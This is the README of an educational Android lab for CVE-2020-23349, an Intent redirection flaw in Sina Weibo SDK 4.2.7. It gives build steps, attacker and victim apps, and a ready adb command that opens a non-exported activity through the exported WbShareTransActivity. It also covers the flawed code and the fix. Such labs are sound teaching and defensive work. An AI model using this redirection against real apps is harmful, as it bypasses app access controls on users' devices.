
Laboratorio educativo de Android para CVE-2020-23349 en Sina Weibo SDK 4.2.7
Proyecto educativo para reproducir localmente la vulnerabilidad de redirección de Intent en Sina Weibo Android SDK 4.2.7.
Úsalo solo en dispositivos de prueba o emuladores autorizados. No lo uses contra aplicaciones de usuarios reales.
victim: aplicación vulnerable que incluye el openDefault-4.2.7.aar realattacker: aplicación atacante que invoca la WbShareTransActivity exportadavictim/.../PrivateActivity: objetivo de reproducción con android:exported="false"El flujo vulnerable es el siguiente:
Attacker 앱
-> exported WbShareTransActivity
-> Intent Extra의 startActivity/gotoActivity
-> victim의 PrivateActivity 실행
Se requieren Android SDK 36 y JDK 17.
./gradlew clean assembleDebug
Archivos generados:
victim/build/outputs/apk/debug/victim-debug.apk
attacker/build/outputs/apk/debug/attacker-debug.apk
adb install -r victim/build/outputs/apk/debug/victim-debug.apk
adb install -r attacker/build/outputs/apk/debug/attacker-debug.apk
adb shell am start -n lab.cve202023349.attacker/.MainActivity
Launch private Activity.EXPLOIT SUCCESS, la reproducción fue exitosa.También puedes reproducirlo directamente con ADB.
adb shell am start \
-n lab.cve202023349.victim/com.sina.weibo.sdk.share.WbShareTransActivity \
--es startActivity lab.cve202023349.victim.PrivateActivity \
--es gotoActivity lab.cve202023349.victim.PrivateActivity
El SDK 4.2.7 confía en las cadenas startActivity y gotoActivity del Intent externo y las usa de la siguiente forma:
resultIntent.setClassName(this, startActivityName);
startActivity(resultIntent);
Como this es el Context de la aplicación Victim, Android lo trata como si la aplicación Victim estuviera ejecutando su propia Activity privada.
En las compilaciones modernas de Android, android:exported debe declararse explícitamente; por eso, este proyecto especifica explícitamente true en victim/AndroidManifest.xml para reproducir el estado exported implícito de los SDK antiguos.
En las prácticas que no requieran la función de compartir, cambia el siguiente valor a false y vuelve a compilar.
<activity
android:name="com.sina.weibo.sdk.share.WbShareTransActivity"
android:exported="false" />
Después, al realizar el mismo ataque, se bloqueará con SecurityException. En un producto real, debes eliminar el SDK de Weibo 4.x y actualizar a la versión de mantenimiento más reciente.
El AAR incluido proviene del commit 4.2.7 del repositorio público oficial de Sina Weibo.
99daf8a (4.2.7)新文档/openDefault-4.2.7.aar